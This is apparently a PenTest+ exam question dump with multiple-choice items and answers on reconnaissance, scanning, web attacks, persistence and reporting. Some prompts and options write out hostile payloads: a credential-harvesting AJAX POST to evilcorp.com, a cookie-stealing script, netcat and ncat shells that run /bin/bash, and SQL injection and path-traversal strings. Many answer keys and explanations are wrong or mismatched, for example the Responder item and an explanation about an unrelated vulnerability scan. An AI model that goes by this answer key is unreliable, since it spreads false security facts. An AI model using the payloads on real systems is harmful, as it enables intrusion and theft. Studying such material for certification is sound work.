

# CompTIA

## Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



#### NEW QUESTION 1

A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this task?

- A. GDB
- B. Burp Suite
- C. SearchSploit
- D. Netcat

**Answer:** A

#### NEW QUESTION 2

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

- A. `chmod u+x script.sh`
- B. `chmod u+e script.sh`
- C. `chmod o+e script.sh`
- D. `chmod o+x script.sh`

**Answer:** A

#### NEW QUESTION 3

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

**Answer:** AC

#### NEW QUESTION 4

A penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network?

- A. Set up a captive portal with embedded malicious code.
- B. Capture handshakes from wireless clients to crack.
- C. Span deauthentication packets to the wireless clients.
- D. Set up another access point and perform an evil twin attack.

**Answer:** C

#### NEW QUESTION 5

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

- A. An unknown-environment assessment
- B. A known-environment assessment
- C. A red-team assessment
- D. A compliance-based assessment

**Answer:** B

#### Explanation:

A known environment test is often more complete, because testers can get to every system, service, or other target that is in scope and will have credentials and other materials that will allow them to be tested.

#### NEW QUESTION 6

Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)

- A. OWASP ZAP
- B. Nmap
- C. Nessus
- D. BeEF
- E. Hydra
- F. Burp Suite

**Answer:** AF

#### NEW QUESTION 7

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

- A. Statement of work
- B. Program scope
- C. Non-disclosure agreement
- D. Rules of engagement

**Answer:** D

**Explanation:**

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

**NEW QUESTION 8**

A penetration tester ran a simple Python-based scanner. The following is a snippet of the code:

```
...
<LINE NUM.>
<01> portlist: list[int] = [*range(1, 1025)]
<02> try:
<03>     port: object
<04>     resultList: list[Any] = []
<05>     for port in portList:
<06>         sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
<07>         sock.settimeout(20)
<08>         result = sock.connect_ex((remoteSvr, port))
<09>         if result == 0:
<10>             resultList.append(port)
<11>         sock.close()
...
```

Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS?

- A. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
- B. \*range(1, 1025) on line 1 populated the portList list in numerical order.
- C. Line 6 uses socket.SOCK\_STREAM instead of socket.SOCK\_DGRAM
- D. The remoteSvr variable has neither been type-hinted nor initialized.

**Answer:** B

**Explanation:**

Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) <https://nmap.org/book/man-port-specification.html>

**NEW QUESTION 9**

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

- A. Asset inventory
- B. DNS records
- C. Web-application scan
- D. Full scan

**Answer:** A

**NEW QUESTION 10**

Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

- A. NDA
- B. MSA
- C. SOW
- D. MOU

**Answer:** C

**NEW QUESTION 10**

Which of the following describes the reason why a penetration tester would run the command `sdelete mimikatz. *` on a Windows server that the tester compromised?

- A. To remove hash-cracking registry entries
- B. To remove the tester-created Mimikatz account
- C. To remove tools from the server
- D. To remove a reverse shell from the system

**Answer:** B

**NEW QUESTION 11**

A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe

as a benefit of the framework?

- A. Understanding the tactics of a security intrusion can help disrupt them.
- B. Scripts that are part of the framework can be imported directly into SIEM tools.
- C. The methodology can be used to estimate the cost of an incident better.
- D. The framework is static and ensures stability of a security program overtime.

**Answer:** A

#### NEW QUESTION 14

A Chief Information Security Officer wants to evaluate the security of the company's e-commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?

- A. SQLmap
- B. DirBuster
- C. w3af
- D. OWASP ZAP

**Answer:** C

#### Explanation:

W3AF, the Web Application Attack and Audit Framework, is an open source web application security scanner that includes directory and filename bruteforcing in its list of capabilities.

#### NEW QUESTION 18

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

- A. Reach out to the primary point of contact
- B. Try to take down the attackers
- C. Call law enforcement officials immediately
- D. Collect the proper evidence and add to the final report

**Answer:** A

#### NEW QUESTION 19

A penetration tester is reviewing the following DNS reconnaissance results for comptia.org from dig: comptia.org. 3569 IN MX comptia.org-mail.protection.outlook.com. comptia.org. 3569 IN A 3.219.13.186.

comptia.org.

3569 IN NS ns1.comptia.org. comptia.org. 3569 IN SOA haven. administrator.comptia.org. comptia.org. 3569 IN MX new.mx0.comptia.org. comptia.org. 3569 IN MX new.mx1.comptia.org.

Which of the following potential issues can the penetration tester identify based on this output?

- A. At least one of the records is out of scope.
- B. There is a duplicate MX record.
- C. The NS record is not within the appropriate domain.
- D. The SOA records outside the comptia.org domain.

**Answer:** A

#### NEW QUESTION 22

A penetration tester is conducting an engagement against an internet-facing web application and planning a phishing campaign. Which of the following is the BEST passive method of obtaining the technical contacts for the website?

- A. WHOIS domain lookup
- B. Job listing and recruitment ads
- C. SSL certificate information
- D. Public data breach dumps

**Answer:** A

#### Explanation:

The BEST passive method of obtaining the technical contacts for the website would be a WHOIS domain lookup. WHOIS is a protocol that provides information about registered domain names, such as the registration date, registrant's name and contact information, and the name servers assigned to the domain. By performing a WHOIS lookup, the penetration tester can obtain the contact information of the website's technical staff, which can be used to craft a convincing phishing email.

#### NEW QUESTION 27

Which of the following would a company's hunt team be MOST interested in seeing in a final report?

- A. Executive summary
- B. Attack TTPs
- C. Methodology
- D. Scope details

**Answer:** B

**NEW QUESTION 32**

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

`http://company.com/catalog.asp?productid=22`

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

`http://company.com/catalog.asp?productid=22;WAITFOR`

`DELAY '00:00:05'`

Which of the following should the penetration tester attempt NEXT?

- A. `http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'`
- B. `http://company.com/catalog.asp?productid=22' OR 1=1 -`
- C. `http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -`
- D. `http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash`

**Answer: C**

**Explanation:**

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

**NEW QUESTION 36**

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to `https://example.com/index.html`. The engineer has designed the attack so that once the users enter the credentials, the `index.html` page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',
  type: 'POST', dataType: 'html',
  data: {Email: emv, password: psv},
  success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

- A. `window.location.= 'https://evilcorp.com'`
- B. `crossDomain: true`
- C. `geturlparameter ('username')`
- D. `redirectUrl = 'https://example.com'`

**Answer: B**

**NEW QUESTION 41**

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

```
ssh root@10.10.1.1 -L5555:10.10.1.2:25
```

Which of the following would be the BEST command to use for further progress into the targeted network?

- A. `nc 10.10.1.2`
- B. `ssh 10.10.1.2`
- C. `nc 127.0.0.1 5555`
- D. `ssh 127.0.0.1 5555`

**Answer: C**

**NEW QUESTION 43**

A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

- A. Multiple handshakes
- B. IP addresses
- C. Encrypted file transfers
- D. User hashes sent over SMB

**Answer: B**

**NEW QUESTION 48**

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables. Which of the following should be included as a recommendation in the remediation report?

- A. Stronger algorithmic requirements
- B. Access controls on the server
- C. Encryption on the user passwords
- D. A patch management program

**Answer: A**

**NEW QUESTION 50**



During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

- A. Scraping social media sites
- B. Using the WHOIS lookup tool
- C. Crawling the client's website
- D. Phishing company employees
- E. Utilizing DNS lookup tools
- F. Conducting wardriving near the client facility

**Answer:** AC

**Explanation:**

Technical and billing addresses are usually posted on company websites and company social media sites for the their clients to access. The WHOIS lookup will only avail info for the company registrant, an abuse email contact, etc but it may not contain details for billing addresses.

**NEW QUESTION 52**

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. nmap -iL results 192.168.0.10-100
- B. nmap 192.168.0.10-100 -O > results
- C. nmap -A 192.168.0.10-100 -oX results
- D. nmap 192.168.0.10-100 | grep "results"

**Answer:** C

**NEW QUESTION 57**

A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

```
https://xx.xx.xx.x/vpn/ ../vpns/portal/scripts/newbm.pl
https://xx.xx.xx.x/vpn/ ../vpns/portal/scripts/rmbm.pl
https://xx.xx.xx.x/vpn/ ../vpns/portal/scripts/pikcthemel.pl
https://xx.xx.xx.x/vpn/ ../vpns/cfg/smb.conf
```

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

- A. Edit the discovered file with one line of code for remote callback
- B. Download .pl files and look for usernames and passwords
- C. Edit the smb.conf file and upload it to the server
- D. Download the smb.conf file and look at configurations

**Answer:** C

**NEW QUESTION 62**

During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?

- A. Badge cloning
- B. Watering-hole attack
- C. Impersonation
- D. Spear phishing

**Answer:** D

**Explanation:**

Spear phishing is a type of targeted attack where the attacker sends emails that appear to come from a legitimate source, often a company or someone familiar to the target, with the goal of tricking the target into clicking on a malicious link or providing sensitive information. In this case, the penetration tester has already gathered OSINT on the IT system administrator, so they can use this information to craft a highly targeted spear phishing attack to try and gain access to the target system.

**NEW QUESTION 64**

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

- A. Wireshark
- B. Nessus
- C. Retina
- D. Burp Suite
- E. Shodan
- F. Nikto

**Answer:** AE

**NEW QUESTION 65**

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

- A. Wait for the next login and perform a downgrade attack on the server.
- B. Capture traffic using Wireshark.
- C. Perform a brute-force attack over the server.
- D. Use an FTP exploit against the server.

**Answer:** B

#### NEW QUESTION 68

A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:

```
sendp(Ether()/dot1q(vlan=100)/dotq(vlan=50)/IP(dst="172.16.50.10")/ICMP())
```

Which of the following represents what the penetration tester is attempting to accomplish?

- A. DNS cache poisoning
- B. MAC spoofing
- C. ARP poisoning
- D. Double-tagging attack

**Answer:** D

#### Explanation:

<https://scapy.readthedocs.io/en/latest/usage.html>

#### NEW QUESTION 69

A penetration tester conducted a discovery scan that generated the following:

```
Starting nmap 6.40 ( http://nmap.org ) at 2021-02-01 13:56 CST
Nmap scan report for 192.168.0.1
Host is up (0.021s latency).
Nmap scan report for 192.168.0.140
Host is up (0.30s latency)
Nmap scan report for 192.168.0.149
Host is up (0.20s latency).
Nmap scan report for 192.168.0.184
Host is up (0.0017s latency).
Nmap done: IP addresses (4 hosts up) scanned in 37.26 seconds
```

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

- A. nmap -oG list.txt 192.168.0.1-254 , sort
- B. nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print \$5}'
- C. nmap --open 192.168.0.1-254, uniq
- D. nmap -o 192.168.0.1-254, cut -f 2

**Answer:** B

#### Explanation:

the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print \$5}) which obviously carries the returned IP of the host in the NMAP output.

#### NEW QUESTION 71

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

**Answer:** A

#### Explanation:

If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.

#### NEW QUESTION 72

An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

- A. nmap 192.168.0.1/24
- B. nmap 192.168.0.1/24
- C. nmap oG 192.168.0.1/24
- D. nmap 192.168.0.1/24

**Answer:** A

### NEW QUESTION 73

A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

- A. Network segmentation
- B. Key rotation
- C. Encrypted passwords
- D. Patch management

**Answer:** D

#### Explanation:

Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys.

However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

### NEW QUESTION 78

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

- A. IP addresses and subdomains
- B. Zone transfers
- C. DNS forward and reverse lookups
- D. Internet search engines
- E. Externally facing open ports
- F. Shodan results

**Answer:** DF

### NEW QUESTION 83

Given the following output: User-agent:\*

Disallow: /author/ Disallow: /xmlrpc.php Disallow: /wp-admin Disallow: /page/

During which of the following activities was this output MOST likely obtained?

- A. Website scraping
- B. Website cloning
- C. Domain enumeration
- D. URL enumeration

**Answer:** A

### NEW QUESTION 87

A penetration tester is required to perform a vulnerability scan that reduces the likelihood of false positives and increases the true positives of the results. Which of the following would MOST likely accomplish this goal?

- A. Using OpenVAS in default mode
- B. Using Nessus with credentials
- C. Using Nmap as the root user
- D. Using OWASP ZAP

**Answer:** B

#### Explanation:

Using credentials during a vulnerability scan allows the scanner to gather more detailed information about the target system, including installed software, patch levels, and configuration settings. This helps to reduce the likelihood of false positives and increase the true positives of the results. Nessus is a popular vulnerability scanner that supports credential-based scanning and can be used to accomplish this goal. OpenVAS and Nmap are also popular scanning tools, but using default mode or running as the root user alone may not provide the necessary level of detail for accurate vulnerability identification. OWASP ZAP is a web application scanner and may not be applicable for non-web-based targets.

### NEW QUESTION 89

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:

```
* Connected to 10.2.11.144 (::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
```



```
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
```

Which of the following tools would be BEST for the penetration tester to use to explore this site further?

- A. Burp Suite
- B. DirBuster
- C. WPScan
- D. OWASP ZAP

**Answer: C**

#### NEW QUESTION 93

During an assessment, a penetration tester manages to exploit an LFI vulnerability and browse the web log for a target Apache server. Which of the following steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose two.)

- A. Cross-site scripting
- B. Server-side request forgery
- C. SQL injection
- D. Log poisoning
- E. Cross-site request forgery
- F. Command injection

**Answer: DF**

#### Explanation:

Local File Inclusion (LFI) is a web vulnerability that allows an attacker to include files on a server through the web browser. This can expose sensitive information or lead to remote code execution.

Some possible next steps that a penetration tester can try after exploiting an LFI vulnerability are:

- Log poisoning: This involves injecting malicious code into the web server's log files and then including them via LFI to execute the code<sup>34</sup>.
- PHP wrappers: These are special streams that can be used to manipulate files or data via LFI. For example, `php://input` can be used to pass arbitrary data to an LFI script, or `php://filter` can be used to encode or decode files<sup>5</sup>.

#### NEW QUESTION 94

A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

- A. Wireshark
- B. Gattacker
- C. tcpdump
- D. Netcat

**Answer: B**

#### Explanation:

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

#### NEW QUESTION 95

The following PowerShell snippet was extracted from a log of an attacker machine:

```
1.$net="192.168.1."
2.$setipaddress ="192.168.2."
3.function Test-Password {
4.if (args[0] -eq 'Dummy12345') {
5. return 1
6. }
7.else {
8.$cat = 22, 25, 80, 443
9. return 0
10. }
11.}
12.$cracked = 0
13.crackedpd = [ 192, 168, 1, 2]
14.$i =0
15.Do {
16. $test = 'Dummy' + $i
17. $cracked = Test - Password Test
18.$i++
19.$crackedp = ( 192, 168, 1, 1) + $cat
20. }
21.While($cracked -eq 0)
22.Write-Host " Password found : " $test
23.$setipaddress = [ 192, 168, 1, 4]
```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

- A. Line 8
- B. Line 13
- C. Line 19
- D. Line 20

**Answer:** A

**Explanation:**

[https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about\\_arrays?view=powershell-7.4](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays?view=powershell-7.4)

#### NEW QUESTION 100

A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

- A. Open-source research
- B. A ping sweep
- C. Traffic sniffing
- D. Port knocking
- E. A vulnerability scan
- F. An Nmap scan

**Answer:** AC

#### NEW QUESTION 103

A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

- A. Prying the lock open on the records room
- B. Climbing in an open window of the adjoining building
- C. Presenting a false employee ID to the night guard
- D. Obstructing the motion sensors in the hallway of the records room

**Answer:** C

**Explanation:**

"to be conducted after hours and should not include circumventing the alarm or performing destructive entry"

#### NEW QUESTION 108

A tester who is performing a penetration test on a website receives the following output:

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62  
Which of the following commands can be used to further attack the website?

- A. <script>var adr= '../evil.php?test=' + escape(document.cookie);</script>
- B. ../../../../../../../../../../etc/passwd
- C. /var/www/html/index.php;whoami
- D. 1 UNION SELECT 1, DATABASE(),3-

**Answer:** D

#### NEW QUESTION 111

A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

- A. Send an SMS with a spoofed service number including a link to download a malicious application.
- B. Exploit a vulnerability in the MDM and create a new account and device profile.
- C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
- D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

**Answer:** A

#### Explanation:

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

#### NEW QUESTION 116

A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack?

- A. WPS
- B. WPA2-EAP
- C. WPA-TKIP
- D. WPA2-PSK

**Answer:** A

#### NEW QUESTION 120

During the reconnaissance phase, a penetration tester obtains the following output:

Reply from 192.168.1.23: bytes=32 time<54ms TTL=128

Reply from 192.168.1.23: bytes=32 time<53ms TTL=128

Reply from 192.168.1.23: bytes=32 time<60ms TTL=128

Reply from 192.168.1.23: bytes=32 time<51ms TTL=128

Which of the following operating systems is MOST likely installed on the host?

- A. Linux
- B. NetBSD
- C. Windows
- D. macOS

**Answer:** C

#### NEW QUESTION 123

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.

Which of the following actions, if performed, would be ethical within the scope of the assessment?

- A. Exploiting a configuration weakness in the SQL database
- B. Intercepting outbound TLS traffic
- C. Gaining access to hosts by injecting malware into the enterprise-wide update server
- D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
- E. Establishing and maintaining persistence on the domain controller

**Answer:** B

#### NEW QUESTION 127

After running the enum4linux.pl command, a penetration tester received the following output:



```
=====
| Enumerating Workgroup/Domain on 192.168.100.56 |
=====
[+] Got domain/workgroup name: WORKGROUP
=====
| Session Check on 192.168.100.56 |
=====
[+] Server 192.168.100.56 allows sessions using username '', password ''
=====
| Getting domain SID for 192.168.100.56 |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=====
| Share Enumeration on 192.168.100.56 |
=====
Sharename Type Comment
-----
print$ Disk Printer Drivers
web Disk File Server
IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web Mapping: OK, Listing: OK
//192.168.100.56/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020
```

Which of the following commands should the penetration tester run NEXT?

- A. smbpool //192.160.100.56/print\$
- B. net rpc share -S 192.168.100.56 -U "
- C. smbget //192.168.100.56/web -U "
- D. smbclient //192.168.100.56/web -U " -N

**Answer: D**

**Explanation:**

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

**NEW QUESTION 132**

During an engagement, a penetration tester found the following list of strings inside a file:

```
3af068faa81326ffe6ca48e2ab36a779
48ec2f4f526303a9ded67938e6ce11c6
9493bf035c534197d9810a5e65a10632
C847b4a2e76ec1f9cbbbe30d2046d5e8
ed225542767a810e6fcee6f640164b140
cfbe1fdd6e6b0c5c9abd8c947f272ef4
c05cbc5a69bcc91f56a7e0a6c391ad79
9ee3564cbf15421ebabc43dcb67949ad
5a2ad0bcb902e20c4efcf057b01050be
4865a2ed25ed18515b7e97beb2b40346
b0236938a6518fc65b72159687e3a27b
9c96354712595ef2ff96675496d3a464
a5ab3f6c6159b85209ea0c186531a49f
9b38816e791f1400245f4c629a503bc8
d12e624a20d54fd3b34b89ee7169df17
```

Which of the following is the BEST technique to determine the known plaintext of the strings?

- A. Dictionary attack
- B. Rainbow table attack
- C. Brute-force attack
- D. Credential-stuffing attack

**Answer: B**

**NEW QUESTION 134**

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

- A. security compliance regulations or laws may be violated.
- B. testing can make detecting actual APT more challenging.
- C. testing adds to the workload of defensive cyber- and threat-hunting teams.
- D. business and network operations may be impacted.

**Answer:** D

#### NEW QUESTION 135

A penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?

- A. Gain access to the target host and implant malware specially crafted for this purpose.
- B. Exploit the local DNS server and add/update the zone records with a spoofed A record.
- C. Use the Scapy utility to overwrite name resolution fields in the DNS query response.
- D. Proxy HTTP connections from the target host to that of the spoofed host.

**Answer:** D

#### NEW QUESTION 137

Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

- A. Peach
- B. WinDbg
- C. GDB
- D. OllyDbg

**Answer:** C

#### Explanation:

OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linuxspecific debugging tool.

#### NEW QUESTION 139

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

- A. Dictionary
- B. Directory
- C. Symlink
- D. Catalog
- E. For-loop

**Answer:** A

#### NEW QUESTION 143

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

- A. Run nmap with the `-o`, `-p22`, and `-sC` options set against the target
- B. Run nmap with the `-sV` and `-p22` options set against the target
- C. Run nmap with the `--script vulners` option set against the target
- D. Run nmap with the `-sA` option set against the target

**Answer:** A

#### NEW QUESTION 144

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

- A. `schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe`
- B. `wmic startup get caption,command`
- C. `crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash" | crontab 2>/dev/null`
- D. `sudo useradd -ou 0 -g 0 user`

**Answer:** A

#### NEW QUESTION 145

In Python socket programming, SOCK\_DGRAM type is:

- A. reliable.
- B. matrixed.
- C. connectionless.
- D. slower.

**Answer:** C

#### Explanation:

Connectionless due to the Datagram portion mentioned so that would mean its using UDP.

#### NEW QUESTION 146

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)



- A. The CVSS score of the finding
- B. The network location of the vulnerable device
- C. The vulnerability identifier
- D. The client acceptance form
- E. The name of the person who found the flaw
- F. The tool used to find the issue

**Answer:** CF

#### NEW QUESTION 151

A compliance-based penetration test is primarily concerned with:

- A. obtaining PII from the protected network.
- B. bypassing protection on edge devices.
- C. determining the efficacy of a specific set of security standards.
- D. obtaining specific information from the protected network.

**Answer:** C

#### NEW QUESTION 154

Which of the following situations would MOST likely warrant revalidation of a previous security assessment?

- A. After detection of a breach
- B. After a merger or an acquisition
- C. When an organization updates its network firewall configurations
- D. When most of the vulnerabilities have been remediated

**Answer:** D

#### NEW QUESTION 159

A security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?

- A. Specially craft and deploy phishing emails to key company leaders.
- B. Run a vulnerability scan against the company's external website.
- C. Runtime the company's vendor/supply chain.
- D. Scrape web presences and social-networking sites.

**Answer:** D

#### NEW QUESTION 162

A penetration tester wrote the following script to be used in one engagement:

```
#!/usr/bin/python
import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Too few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()
try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        results = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))
except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

**Answer:** A

#### NEW QUESTION 164

A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

- A. The injection was too slow.
- B. The DNS information was incorrect.
- C. The DNS cache was not refreshed.
- D. The client did not receive a trusted response.

**Answer:** C

#### NEW QUESTION 166

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

**Answer:** A

#### Explanation:

